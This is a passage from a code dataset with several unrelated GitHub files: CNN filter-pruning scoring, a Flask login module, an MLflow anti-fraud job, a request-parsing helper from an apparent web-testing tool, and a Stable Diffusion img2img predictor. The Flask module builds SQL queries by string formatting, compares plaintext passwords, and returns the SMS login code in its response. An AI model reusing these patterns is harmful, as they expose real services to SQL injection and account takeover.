INDEX \n#            (under npy format, one file per conv layers)\n\n##################################################################\n\nif SCORING_NAME == \"operator_norm\": \n    filter_scoring = operator_norm_filter_scoring\nelif SCORING_NAME == \"l1_norm\":\n    filter_scoring = entry_l1_norm_scoring\nelif SCORING_NAME == \"GM_norm\":\n    filter_scoring = entry_GM_scoring\n\nprint(\"Filter scoring method used:\", SCORING_NAME)\n\n##################################################################\n\ndef saving_filters_importance_index(conv_dict, model_name, dataset_name, scoring_name, filter_scoring):\n    '''\n    Inputs:\n        conv_dict: dictionary containing all the convolutional layers from our pretrained model\n        model_name: name of the model used (string among \"vgg16\" and \"resnet\")\n        dataset_name: name of the dataset on which the model was trained (string among \"MNIST\" and \"CIFAR\")\n        scoring_name: name of the filter scoring method used (string among \"operator_norm\", \"l1_norm\" and \"GM_norm\")\n        filter_scoring: function used to score the convolutional filters' importance\n\n    This function saves indices of the model's convolutional filters, sorted by increasing score importance\n    (one file per convolutional layer will be saved)      \n    '''\n    for i in range(len(conv_dict)):\n        K_l_conv = conv_dict[i].weight \n        score_norm = filter_scoring(K_l_conv).numpy()\n\n        # save sorted arguments from lowest to highest importance\n        file_name = model_name + '_' + scoring_name + '_' + dataset_name + '_conv_layer_' + str(i+1) + '.npy'\n        np.save(file_name,np.argsort(score_norm)) \n\n\n###################################################################\n#                       VGG16 FILTER SCORING\n###################################################################\n\nif SCORE_VGG_MNIST==True:\n\n    print('Scoring filters from VGG16, pretrained on MNIST')\n\n    # Loading pretrained model (pretrained for 200 epochs on MNIST)\n    MNIST_trained_vgg16 = Unpruned_vgg16().to(device) # first we have to declare the model's class\n    MNIST_trained_vgg16.load_state_dict(torch.load(\"VGG16_MNIST_Adam\")) # then we load the trained params in it\n    MNIST_trained_vgg16.eval()\n\n    # Saving the pretrained convolutional layers in a dictionary\n    MNIST_vgg16_conv_dict = {0: MNIST_trained_vgg16.block1[0], 1: MNIST_trained_vgg16.block2[0], 2: MNIST_trained_vgg16.block3[0], 3: MNIST_trained_vgg16.block4[0], 4: MNIST_trained_vgg16.block5[0], 5: MNIST_trained_vgg16.block6[0], 6: MNIST_trained_vgg16.block7[0], 7: MNIST_trained_vgg16.block8[0], 8: MNIST_trained_vgg16.block9[0], 9: MNIST_trained_vgg16.block10[0], 10: MNIST_trained_vgg16.block11[0], 11: MNIST_trained_vgg16.block12[0], 12: MNIST_trained_vgg16.block13[0]}\n\n    # Saving the filters importance index under .npy format\n    saving_filters_importance_index(conv_dict = MNIST_vgg16_conv_dict, model_name=\"vgg16\", dataset_name=\"MNIST\", scoring_name=SCORING_NAME, filter_scoring=filter_scoring)\n\nif SCORE_VGG_CIFAR==True:\n\n    print('Scoring filters from VGG16, pretrained on CIFAR10')\n\n    CIFAR_trained_vgg16 = Unpruned_vgg16().to(device)\n    CIFAR_trained_vgg16.load_state_dict(torch.load(\"VGG16_CIFAR\"))\n    CIFAR_trained_vgg16.eval()\n\n    # Saving the pretrained convolutional layers in a dictionary\n    CIFAR_vgg16_conv_dict = {0: CIFAR_trained_vgg16.block1[0], 1: CIFAR_trained_vgg16.block2[0], 2: CIFAR_trained_vgg16.block3[0], 3: CIFAR_trained_vgg16.block4[0], 4: CIFAR_trained_vgg16.block5[0], 5: CIFAR_trained_vgg16.block6[0], 6: CIFAR_trained_vgg16.block7[0], 7: CIFAR_trained_vgg16.block8[0], 8: CIFAR_trained_vgg16.block9[0], 9: CIFAR_trained_vgg16.block10[0], 10: CIFAR_trained_vgg16.block11[0], 11: CIFAR_trained_vgg16.block12[0], 12: CIFAR_trained_vgg16.block13[0]}\n\n    # Saving the filters importance index under .npy format\n    saving_filters_importance_index(conv_dict = CIFAR_vgg16_conv_dict, model_name=\"vgg16\", dataset_name=\"CIFAR\", scoring_name=SCORING_NAME, filter_scoring=filter_scoring)\n\n\n###################################################################\n#                       ResNet50 FILTER SCORING\n###################################################################\n\nif SCORE_RESNET==True:\n\n    print('Scoring filters from ResNet')\n\n    # Loading pretrained model (pretrained for 300 epochs on CIFAR10)\n    trained_resnet = Unpruned_resnet().to(device)\n    trained_resnet.load_state_dict(torch.load(\"RESNET_CIFAR\"))\n    trained_resnet.eval()\n\n    # Saving the pretrained convolutional layers to prune in a dictionary \n    CIFAR_resnet_conv_dict = {\n                    # Stage 1\n                    0: trained_resnet.first_stage[0],            # Conv2d(3,   64,  kernel_size=(7, 7), bias=False)\n                    # Stage 2\n                    1: trained_resnet.second_stage[0].block[3],  # Conv2d(64,  64,  kernel_size=(3, 3), bias=False)\n                    2: trained_resnet.second_stage[1].block[3],  # Conv2d(64,  64,  kernel_size=(3, 3), bias=False)\n                    3: trained_resnet.second_stage[2].block[3],  # Conv2d(64,  64,  kernel_size=(3, 3), bias=False)\n                    # Stage 3\n                    4: trained_resnet.third_stage[0].block[3],   # Conv2d(128, 128, kernel_size=(3, 3), bias=False)\n                    5: trained_resnet.third_stage[1].block[3],   # Conv2d(128, 128, kernel_size=(3, 3), bias=False)\n                    6: trained_resnet.third_stage[2].block[3],   # Conv2d(128, 128, kernel_size=(3, 3), bias=False)\n                    7: trained_resnet.third_stage[3].block[3],   # Conv2d(128, 128, kernel_size=(3, 3), bias=False)\n                    # Stage 4\n                    8: trained_resnet.fourth_stage[0].block[3],  # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                    9: trained_resnet.fourth_stage[1].block[3],  # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                    10: trained_resnet.fourth_stage[2].block[3], # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                    11: trained_resnet.fourth_stage[3].block[3], # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                    12: trained_resnet.fourth_stage[4].block[3], # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                    13: trained_resnet.fourth_stage[5].block[3], # Conv2d(256, 256, kernel_size=(3, 3), bias=False)\n                     # Stage 5\n                    14: trained_resnet.fifth_stage[0].block[3],  # Conv2d(512, 512, kernel_size=(3, 3), bias=False)\n                    15: trained_resnet.fifth_stage[1].block[3],  # Conv2d(512, 512, kernel_size=(3, 3), bias=False)\n                    16: trained_resnet.fifth_stage[2].block[3]   # Conv2d(512, 512, kernel_size=(3, 3), bias=False)\n                    }\n\n    # Saving the filters importance index under .npy format\n    saving_filters_importance_index(conv_dict = CIFAR_resnet_conv_dict, model_name=\"resnet\", dataset_name=\"CIFAR\", scoring_name=SCORING_NAME, filter_scoring=filter_scoring)","repo_name":"Amaia-CARDIEL/Pruning_Convolutions_Reproducibility_Challenge","sub_path":"filter_scoring.py","file_name":"filter_scoring.py","file_ext":"py","file_size_in_byte":12521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36262547693","text":"from flask import Flask, jsonify\nimport jwt\nfrom flaskext.mysql import MySQL\nfrom flask import request\nfrom flask import current_app\nimport math\nimport datetime\nimport re\nimport random\n\n\nregex_email = '^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$'\nregex_name_en_ar = '^[a-zA-Zء-ي]{4,}(?: [a-zA-Zء-ي]+)?(?: [a-zA-Zء-ي]+)?$'\n\ndef check_email(email):\n    if (re.search(regex_email, email)):\n        return \"1\"\n    else:\n        return \"2\"\n\ndef check_name_en_ar(name):\n    if (re.search(regex_name_en_ar, name)):\n        return \"1\"\n    else:\n        return \"2\"\n\ndef check_gender(gender):\n    if gender == \"male\":\n        return \"1\"\n    if gender == \"female\":\n        return \"1\"\n    return \"2\"\n\ndef check_phone_number(s):\n    try:\n        int(s)\n        if len(s) >= 14:\n            return \"please enter valid number format 9665XXXXXXXX or 5XXXXXXXX\"\n        number_5 = r\"^(5)\\d{8}\\b$\"\n        number966 = r\"^(966)\\d{9}\\b$\"\n        if len(s) == 9:\n            Pattern = re.compile(number_5)\n            if Pattern.match(s):\n                return \"1\"\n            else:\n                return Pattern.match(s)\n        if len(s) == 12:\n            Pattern = re.compile(number966)\n            if (Pattern.match(s)):\n                return \"1\"\n            else:\n                return \"2\"\n        return \"please enter valid number format 9665XXXXXXXX or 5XXXXXXXX\"\n    except ValueError:\n        return \"please enter valid number not string \"\n\ndef check_code6dig(s):\n    if len(s) > 6:\n        return \"2\"\n    return \"1\"\napp = Flask(__name__)\napp.config.from_pyfile('config.py')\nmysql = MySQL()\nmysql.init_app(app)\n\n\ndef login1(email,password):#it should be email password\n    try:\n        conn = mysql.connect()\n        cursor = conn.cursor()\n        query = \"SELECT * FROM users WHERE email = %s and password = %s;\"\n        cursor.execute(query,(email,password))\n        rows = cursor.fetchall()\n        return {\"user_id\":rows[0][0],\"name\":rows[0][1],\"role\":rows[0][3],\"email\":rows[0][4],\"mobile\":rows[0][5],\"gender\":rows[0][6]}\n    except Exception as e:\n        print(e)\n\ndef allusers():\n    page = request.args.get('page')\n    if page is None:\n        page = 0\n\n    try:\n        page = int(page)\n        to = int(page) * 20\n        conn = mysql.connect()\n        cursor = conn.cursor()\n        cursor.execute(\"\"\"SELECT * FROM users ORDER BY ID ASC LIMIT {} ,20;\"\"\".format(to))\n        rows = cursor.fetchall()\n        cursor.execute(\"SELECT COUNT(ID) AS total FROM users;\")\n        dd = cursor.fetchall()\n        s = dd[0][0]\n        list1 = list(rows)\n        users = []\n        for xx in list1:\n            users.append({\"user_id\": str(xx[0]), \"name\": str(xx[1]), \"role\": str(xx[3]), \"email\": str(xx[4]),\n                          \"mobile\": str(xx[5]), \"gender\": str(xx[6])})\n        next = str(int(page) + 1)\n        allpage = str(math.ceil(s / 20))\n        if int(next) > int(allpage):\n            next = str(allpage)\n        cursor.close()\n        conn.close()\n        return {\n            \"message\": 1,\n            \"data\": users,\n            \"nextpage:\": next ,\n            \"allpage:\": allpage\n        }\n    except ValueError as e:\n        return jsonify(error=\"page must integer\")\n    except Exception as e:\n        print(str(e))\n        return jsonify(error=\"something wrong\")\n\ndef by_id(id):\n    try:\n        conn = mysql.connect()\n        cursor = conn.cursor()\n        cursor.execute(\"\"\"SELECT * FROM users WHERE id = \"{}\";\"\"\".format(id))\n        rows = cursor.fetchall()\n        cursor.close()\n        conn.close()\n        return {\"user_id\": rows[0][0], \"name\": rows[0][1], \"role\": rows[0][3], \"email\": rows[0][4], \"mobile\": rows[0][5],\n            \"gender\": rows[0][6],\"active\":rows[0][7]}\n    except Exception as e:\n        return {\"error\":\"somthing wrong\"}\n\ndef mee():\n    token = request.headers[\"Authorization\"].split(\" \")[0]\n    data = jwt.decode(token, current_app.config[\"SECRET_KEY\"], algorithms=[\"HS256\"])\n    if request.method == \"GET\":\n        try:\n            id = data[\"user_id\"]\n            conn = mysql.connect()\n            cursor = conn.cursor()\n            query = \"SELECT * FROM users WHERE id = %s;\"\n            cursor.execute(query,(id))\n            rows = cursor.fetchall()\n            user = {\"user_id\": rows[0][0], \"name\": rows[0][1], \"role\": rows[0][3], \"email\": rows[0][4],\n                    \"mobile\": rows[0][5],\n                    \"gender\": rows[0][6],}\n            if rows[0][1] == \"\" and rows[0][4] == \"\" and rows[0][6] == None:\n                return {\n                    \"message\": 1,\n                    \"data\": user,\n                    \"completedata\": \"false # required complete data name , email and gender\"\n                }\n                cursor.close()\n                conn.close()\n            cursor.close()\n            conn.close()\n            return {\n                    \"message\": 1,\n                    \"data\": user,\n                    \"completedata\": \"True\"\n                }\n        except Exception as e:\n            return {\"error\": \"somthing wrong\"}\n    elif request.method == \"PUT\":\n        try:\n            data1 = request.json\n            if not data1:\n                return {\n                           \"message\": \"Please provide user details\",\n                           \"data\": None,\n                           \"error\": \"Bad request\"\n                       }, 400\n            email = data1[\"email\"]\n            if check_email(email) != \"1\":\n                return {\"message\":\"enter valid email\"},500\n            name = data1[\"name\"]\n            if check_name_en_ar(name)!=\"1\":\n                return {\"message\": \"enter valid name\"}, 500\n            gender = data1[\"gender\"]\n            if check_name_en_ar(gender)!=\"1\":\n                return {\"message\": \"enter valid gender\"}, 500\n            conn = mysql.connect()\n            cursor = conn.cursor()\n            query = \"UPDATE users SET name = %s, email = %s ,gender = %s WHERE id = %s;\"\n            cursor.execute(query,(name, email,gender, str(data[\"user_id\"])))\n            conn.commit()\n            cursor.close()\n            conn.close()\n            return {\"message\": \"Successfully update the data\"}\n        except Exception as e:\n            return {\"error\": \"somthing wrong\",\"message\":str(e)}, 401\n\ndef login():\n    try:\n        data = request.json\n        if not data:\n            return {\n                \"message\": \"Please provide user details\",\n                \"data\": None,\n                \"error\": \"Bad request\"\n            }, 400\n        user = login1(data[\"email\"],data[\"password\"])\n        if user:\n            try:\n                # token should expire after 20 minuets\n                user[\"token\"] = jwt.encode(\n                    {\"user_id\": user[\"user_id\"], \"iat\": datetime.datetime.utcnow(),\n            \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=20)},\n                    app.config[\"SECRET_KEY\"],\n                    algorithm=\"HS256\"\n                )\n                return {\n                    \"message\": \"1\",\n                    \"data\": user\n                }\n            except Exception as e:\n                return {\n                    \"error\": \"Something went wrong\",\n                    \"message\": str(e)\n                }, 500\n        return {\n            \"message\": \"Error fetching auth token!, invalid email or password\",\n            \"data\": None,\n            \"error\": \"Unauthorized\"\n        }, 404\n    except Exception as e:\n        return {\n                \"message\": \"Something went wrong!\",\n                \"error\": str(e),\n                \"data\": None\n        }, 500\n\n\ndef sendsms():\n    data = request.json\n    if not data:\n        return {\n                   \"message\": \"Please provide user details\",\n                   \"data\": None,\n                   \"error\": \"Bad request\"\n               }, 400\n    try:\n        phone_number =data[\"phone_number\"]\n        dig6 = random.randint(000000, 999999)\n        if check_phone_number(phone_number) != \"1\":\n            return {\"error\":check_phone_number(phone_number)}\n        conn = mysql.connect()\n        cursor = conn.cursor()\n        cursor.execute(\"\"\"DELETE FROM codes_sms WHERE expire < NOW()\"\"\")\n        cursor.execute(\"SELECT * FROM codes_sms WHERE mobile = %s\",(phone_number,)) #query execute direct\n        msg = cursor.fetchone()\n        if msg:\n            return {\"error\":'the code still valid if not receive it try after 2 mints '}\n        query = \"INSERT INTO codes_sms (mobile, code, expire) VALUES (%s,%s, NOW() + INTERVAL 2 MINUTE);\"# then send the code via sms gateway and handle it\n        cursor.execute(query, (phone_number,dig6))\n        conn.commit()\n        cursor.close()\n        conn.close()\n        return {\"message\": \"Successfully send the code to {} also code is {}\".format(phone_number,dig6)}# for debug i send code in res\n    except Exception as e:\n        return {\"error\":\"oops something went wrong\",\"message\":str(e)}\n\n\n\ndef loginviasms():\n    data = request.json\n    if not data:\n        return {\n                   \"message\": \"Please provide user details\",\n                   \"data\": None,\n                   \"error\": \"Bad request\"\n               }, 400\n    try:\n        phone_number = data[\"phone_number\"]\n        code = data[\"code\"]\n        if check_phone_number(phone_number) != \"1\":\n            return {\"error\": check_phone_number(phone_number)}\n        if check_code6dig(code) != \"1\":\n            return {\"error\":\"the code must equal 6 or less\"}\n        conn = mysql.connect()\n        cursor = conn.cursor()\n        cursor.execute(\"\"\"DELETE FROM codes_sms WHERE expire < NOW()\"\"\")\n        cursor.execute(\"SELECT * FROM codes_sms WHERE mobile = %s\",(phone_number,))\n        msg = cursor.fetchone()\n        if not msg:\n            cursor.close()\n            conn.close()\n            return {\"error\":'no codes send to the number'}\n        query = \"SELECT * FROM codes_sms WHERE mobile = %s and code = %s;\"\n        cursor.execute(query,(phone_number,code))\n        msg = cursor.fetchone()\n        if not msg:\n            cursor.close()\n            conn.close()\n            return {\"error\":'error code'}\n        cursor.execute(\"SELECT * FROM users WHERE mobile = %s\",(phone_number,))\n        msg = cursor.fetchall()\n        if not msg:\n            query = \"INSERT INTO users(mobile) VALUES (%s);\"\n            cursor.execute(query,(phone_number))\n            conn.commit()\n            query = \"SELECT * FROM users WHERE mobile = %s;\"\n            cursor.execute(query, (phone_number))\n            rows = cursor.fetchall()\n            user = {\"user_id\": rows[0][0], \"name\": rows[0][1], \"role\": rows[0][3], \"email\": rows[0][4], \"mobile\": rows[0][5],\n            \"gender\": rows[0][6],\"token\":\"\"}\n            user[\"token\"] = jwt.encode(\n                    {\"user_id\": user[\"user_id\"], \"iat\": datetime.datetime.utcnow(),\n            \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=20)},\n                    app.config[\"SECRET_KEY\"],\n                    algorithm=\"HS256\"\n                )\n            cursor.execute(\"\"\"DELETE FROM codes_sms WHERE mobile = {}\"\"\".format(phone_number))\n            conn.commit()\n            cursor.close()\n            conn.close()\n            return {\n            \"message\": \"Successfully add user\",\n            \"data\": user,\n            \"new\": \"True [TRUE] # now let the user go to PUT /users/me via auth to add his info its required name , email and gender only\"\n                    }\n        cursor.execute(\"\"\"DELETE FROM codes_sms WHERE mobile = {}\"\"\".format(phone_number))\n        conn.commit()\n        query = \"SELECT * FROM users WHERE mobile = %s;\"\n        cursor.execute(query, (phone_number))\n        rows = cursor.fetchall()\n        user = {\"user_id\": rows[0][0], \"name\": rows[0][1], \"role\": rows[0][3], \"email\": rows[0][4], \"mobile\": rows[0][5],\n                \"gender\": rows[0][6],\"token\":\"\"}\n        if rows[0][1] == \"\" and rows[0][4] == \"\" and rows[0][6] == None:\n            user[\"token\"] = jwt.encode(\n                {\"user_id\": user[\"user_id\"], \"iat\": datetime.datetime.utcnow(),\n                 \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=20)},\n                app.config[\"SECRET_KEY\"],\n                algorithm=\"HS256\"\n            )\n            cursor.close()\n            conn.close()\n            return {\n                \"message\": \"Successfully add user\",\n                \"data\": user,\n                \"new\": \"True [TRUE] # now let the user go to /users/me via auth to add his info its required name , email and gender only\\n because he is not complete /users/me then he is login again this why the data not complete  \"\n            }\n\n        user[\"token\"] = jwt.encode(\n            {\"user_id\": user[\"user_id\"], \"iat\": datetime.datetime.utcnow(),\n             \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=20)},\n            app.config[\"SECRET_KEY\"],\n            algorithm=\"HS256\"\n        )\n        cursor.close()\n        conn.close()\n        return {\n            \"message\": \"Successfully add user\",\n            \"data\": user,\n            \"new\": \"False [False] # the data its complete \"\n        }\n    except Exception as e:\n        return {\"error\": \"oops something went wrong\", \"message\": str(e)}","repo_name":"m7md1337/flask_login","sub_path":"Users.py","file_name":"Users.py","file_ext":"py","file_size_in_byte":13168,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"9160087626","text":"import os\nfrom typing import Any, Tuple\n\nimport fire\nimport mlflow\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.metrics import (\n    PrecisionRecallDisplay,\n    RocCurveDisplay,\n    precision_recall_curve,\n    roc_auc_score,\n    roc_curve,\n)\n\nIDENTIFIER = f'antifraud-{os.environ.get(\"KCHECKER_USER_USERNAME\", \"default\")}'\nTRACKING_URI = os.environ.get(\"TRACKING_URI\")\n\n\ndef recall_at_precision(\n    true_labels: np.ndarray,\n    pred_scores: np.ndarray,\n    min_precision: float = 0.95,\n) -> float:\n    \"\"\"Compute recall at precision\n\n    Args:\n        true_labels (np.ndarray): True labels\n        pred_scores (np.ndarray): Target scores\n        min_precision (float, optional): Min precision for recall. Defaults to 0.95.\n\n    Returns:\n        float: Metric value\n    \"\"\"\n\n    precision, recall, _ = precision_recall_curve(true_labels, pred_scores)\n    metric = max(\n        [(r, p) for p, r in zip(precision, recall) if p >= min_precision]\n    )[0]\n    return metric\n\n\ndef recall_at_specificity(\n    true_labels: np.ndarray,\n    pred_scores: np.ndarray,\n    min_specificity: float = 0.95,\n) -> float:\n    \"\"\"Compute recall at specificity\n\n    Args:\n        true_labels (np.ndarray): True labels\n        pred_scores (np.ndarray): Target scores\n        min_specificity (float, optional): Min specificity for recall. Defaults to 0.95.\n\n    Returns:\n        float: Metric value\n    \"\"\"\n\n    fpr, tpr, _ = roc_curve(true_labels, pred_scores)\n    specificities = 1 - fpr\n    metric = max(\n        [(r, s) for s, r in zip(specificities, tpr) if s >= min_specificity]\n    )[0]\n    return metric\n\n\ndef curves(\n    true_labels: np.ndarray, pred_scores: np.ndarray\n) -> Tuple[np.ndarray]:\n    \"\"\"Return ROC and FPR curves\n\n    Args:\n        true_labels (np.ndarray): True labels\n        pred_scores (np.ndarray): Target scores\n\n    Returns:\n        Tuple[np.ndarray]: ROC and FPR curves\n    \"\"\"\n\n    def fig2numpy(fig: Any) -> np.ndarray:\n        fig.canvas.draw()\n        img = fig.canvas.buffer_rgba()\n        img = np.asarray(img)\n        return img\n\n    pr_curve = PrecisionRecallDisplay.from_predictions(\n        true_labels, pred_scores\n    )\n    pr_curve = fig2numpy(pr_curve.figure_)\n\n    roc_curve = RocCurveDisplay.from_predictions(true_labels, pred_scores)\n    roc_curve = fig2numpy(roc_curve.figure_)\n\n    return pr_curve, roc_curve\n\n\ndef job(\n    train_path: str = \"\",\n    test_path: str = \"\",\n    target: str = \"target\",\n):\n    \"\"\"Model training job\n\n    Args:\n        train_path (str): Train dataset path\n        test_path (str): Test dataset path\n        target (str): Target column name\n    \"\"\"\n    mlflow.set_tracking_uri(TRACKING_URI)\n\n    mlflow.set_experiment(IDENTIFIER)\n    mlflow.start_run(run_name=IDENTIFIER)\n    mlflow.set_tags(tags={\"task_type\": \"anti-fraud\", \"framework\": \"sklearn\"})\n\n    train_dataset = pd.read_csv(train_path)\n    test_dataset = pd.read_csv(test_path)\n    model = IsolationForest(n_estimators=100)\n\n    mlflow.log_params(\n        params={\n            \"features\": list(train_dataset.drop(target, axis=1).columns),\n            \"target\": target,\n            \"model_type\": str(model.__class__.__name__),\n        }\n    )\n\n    train_X, train_Y = (\n        train_dataset.drop(target, axis=1),\n        train_dataset[target],\n    )\n    test_X, test_Y = test_dataset.drop(target, axis=1), test_dataset[target]\n\n    model.fit(train_X)\n\n    test_targets = test_Y\n    pred_scores = -model.score_samples(test_X)\n\n    roc_auc = roc_auc_score(test_targets, pred_scores)\n    recall_precision_95 = recall_at_precision(\n        test_targets,\n        pred_scores,\n        min_precision=0.95,\n    )\n    recall_specificity_95 = recall_at_specificity(\n        test_targets,\n        pred_scores,\n        min_specificity=0.95,\n    )\n    pr, roc = curves(test_targets, pred_scores)\n\n    mlflow.log_metric(\"roc_auc\", roc_auc)\n    mlflow.log_metric(\"recall_precision_95\", recall_precision_95)\n    mlflow.log_metric(\"recall_specificity_95\", recall_specificity_95)\n\n    mlflow.log_artifact(train_path, \"data/\")\n    mlflow.log_artifact(test_path, \"data/\")\n\n    mlflow.log_image(pr, \"metrics/pr.png\")\n    mlflow.log_image(roc, \"metrics/roc.png\")\n\n    mlflow.sklearn.log_model(\n        model,\n        artifact_path=IDENTIFIER,\n        registered_model_name=IDENTIFIER,\n    )\n\n    mlflow.end_run()\n\n\nif __name__ == \"__main__\":\n    fire.Fire(job)\n","repo_name":"btseytlin/simulator-ml","sub_path":"junior/anti_fraud_1_mlflow/2_job.py","file_name":"2_job.py","file_ext":"py","file_size_in_byte":4404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"29208302547","text":"# -*- coding: utf-8 -*-\nfrom xml.dom.minidom import parse as ap\nfrom urllib import parse as bp\nfrom Public.Public import *\nimport json\n\n\ndef is_json(myjson):\n    try:\n        json_object = json.loads(myjson)\n    except:\n        return False\n    return json_object\n\ndef post_header_format(header):\n    lst = header.split('\\n')\n    m = []\n    for i in lst:\n        if ':' in i:\n            key = i.split(':')[0]\n            value1 = i.split(':')[1]\n            value = value1.lstrip()\n            m.append([str(key), str(value)])\n    m = dict(m)\n    m['postfinallydata'] = lst[len(lst)-1]\n    return(m)\n\n#读取XML文件,获取POST的全部请求\ndef PostreadXML(file):\n    domTree = ap(file)\n    rootNode = domTree.documentElement\n    items = rootNode.getElementsByTagName(\"item\")\n    rearray = []\n    for item in items:\n        everydata = []\n        method = item.getElementsByTagName(\"method\")[0]\n        if method.childNodes[0].data == 'POST':\n            date = []\n            header = item.getElementsByTagName(\"request\")[0]\n            headerdata = post_header_format(header.childNodes[0].data)\n            url = item.getElementsByTagName(\"url\")[0]\n            posturl = url.childNodes[0].data\n            date.append(posturl)\n            postdata = headerdata['postfinallydata']\n            date.append(changePostMethod(postdata))\n            headerdata.pop('postfinallydata')\n            date.append(headerdata)\n        if len(date) > 0:\n            rearray.append(date)\n    if len(rearray)>0:\n        return rearray\n    else:\n        return False\n\ndef changePostMethod(data):\n    if is_json(data):\n        rejsondata = []\n        Alljsondata = queryValue(json.loads(data))\n        for changejson in Alljsondata:\n            rejsondata.append(json.dumps(changejson))\n        return rejsondata\n    elif '=' in data:\n        data = bp.parse_qs(data)\n        for key,value in data.items():\n            data[key] = value[0]\n        return queryValue(data)\n    else:\n        return False","repo_name":"MIMAZHAN/PVD-HACK","sub_path":"Public/Posthack.py","file_name":"Posthack.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"16"}
+{"seq_id":"9543630423","text":"import os\nfrom typing import List\n\nimport torch\nfrom diffusers import (\n    StableDiffusionPipeline,\n    StableDiffusionImg2ImgPipeline,\n    PNDMScheduler,\n    LMSDiscreteScheduler,\n    DDIMScheduler,\n    EulerDiscreteScheduler,\n    EulerAncestralDiscreteScheduler,\n    DPMSolverMultistepScheduler,\n)\nfrom PIL import Image\nfrom cog import BasePredictor, Input, Path\n\nMODEL_ID = \"stabilityai/stable-diffusion-2-1\"\nMODEL_CACHE = \"diffusers-cache\"\n\n\nclass Predictor(BasePredictor):\n    def setup(self):\n        \"\"\"Load the model into memory to make running multiple predictions efficient\"\"\"\n        print(\"Loading pipeline...\")\n        self.txt2img_pipe = StableDiffusionPipeline.from_pretrained(\n            MODEL_ID,\n            cache_dir=MODEL_CACHE,\n            local_files_only=True,\n        ).to(\"cuda\")\n        self.img2img_pipe = StableDiffusionImg2ImgPipeline(\n            vae=self.txt2img_pipe.vae,\n            text_encoder=self.txt2img_pipe.text_encoder,\n            tokenizer=self.txt2img_pipe.tokenizer,\n            unet=self.txt2img_pipe.unet,\n            scheduler=self.txt2img_pipe.scheduler,\n            safety_checker=self.txt2img_pipe.safety_checker,\n            feature_extractor=self.txt2img_pipe.feature_extractor,\n        ).to(\"cuda\")\n\n    @torch.inference_mode()\n    def predict(\n        self,\n        prompt: str = Input(\n            description=\"Input prompt\",\n            default=\"A fantasy landscape, trending on artstation\",\n        ),\n        negative_prompt: str = Input(\n            description=\"The prompt NOT to guide the image generation. Ignored when not using guidance\",\n            default=None,\n        ),\n        image: Path = Input(\n            description=\"Inital image to generate variations of.\",\n        ),\n        width: int = Input(\n            description=\"Width of output image. Maximum size is 1024x768 or 768x1024 because of memory limits\",\n            choices=[128, 256, 384, 448, 512, 576, 640, 704, 768, 832, 896, 960, 1024],\n            default=512,\n        ),\n        height: int = Input(\n            description=\"Height of output image. Maximum size is 1024x768 or 768x1024 because of memory limits\",\n            choices=[128, 256, 384, 448, 512, 576, 640, 704, 768, 832, 896, 960, 1024],\n            default=512,\n        ),\n        prompt_strength: float = Input(\n            description=\"Prompt strength when providing the image. 1.0 corresponds to full destruction of information in init image\",\n            default=0.8,\n        ),\n        num_outputs: int = Input(\n            description=\"Number of images to output. Higher number of outputs may OOM.\",\n            ge=1,\n            le=8,\n            default=1,\n        ),\n        num_inference_steps: int = Input(\n            description=\"Number of denoising steps\", ge=1, le=500, default=25\n        ),\n        guidance_scale: float = Input(\n            description=\"Scale for classifier-free guidance\", ge=1, le=20, default=7.5\n        ),\n        scheduler: str = Input(\n            default=\"DPMSolverMultistep\",\n            choices=[\"DDIM\", \"K_EULER\", \"DPMSolverMultistep\", \"K_EULER_ANCESTRAL\", \"PNDM\", \"KLMS\"],\n            description=\"Choose a scheduler.\",\n        ),\n        seed: int = Input(\n            description=\"Random seed. Leave blank to randomize the seed\", default=None\n        ),\n    ) -> List[Path]:\n        \"\"\"Run a single prediction on the model\"\"\"\n        if seed is None:\n            seed = int.from_bytes(os.urandom(2), \"big\")\n        print(f\"Using seed: {seed}\")\n\n        pipe = self.img2img_pipe\n        extra_kwargs = {\n            \"image\": Image.open(image).convert(\"RGB\"),\n            \"strength\": prompt_strength,\n        }\n        pipe.scheduler = make_scheduler(scheduler, pipe.scheduler.config)\n\n        generator = torch.Generator(\"cuda\").manual_seed(seed)\n        output = pipe(\n            prompt=[prompt] * num_outputs if prompt is not None else None,\n            guidance_scale=guidance_scale,\n            generator=generator,\n            num_inference_steps=num_inference_steps,\n            **extra_kwargs,\n        )\n\n        output_paths = []\n        for i, sample in enumerate(output.images):\n            output_path = f\"/tmp/out-{i}.png\"\n            sample.save(output_path)\n            output_paths.append(Path(output_path))\n\n        return output_paths\n\n\ndef make_scheduler(name, config):\n    return {\n        \"PNDM\": PNDMScheduler.from_config(config),\n        \"KLMS\": LMSDiscreteScheduler.from_config(config),\n        \"DDIM\": DDIMScheduler.from_config(config),\n        \"K_EULER\": EulerDiscreteScheduler.from_config(config),\n        \"K_EULER_ANCESTRAL\": EulerAncestralDiscreteScheduler.from_config(config),\n        \"DPMSolverMultistep\": DPMSolverMultistepScheduler.from_config(config),\n    }[name]\n","repo_name":"replicate/cog-stable-diffusion-img2img","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4750,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"16"}
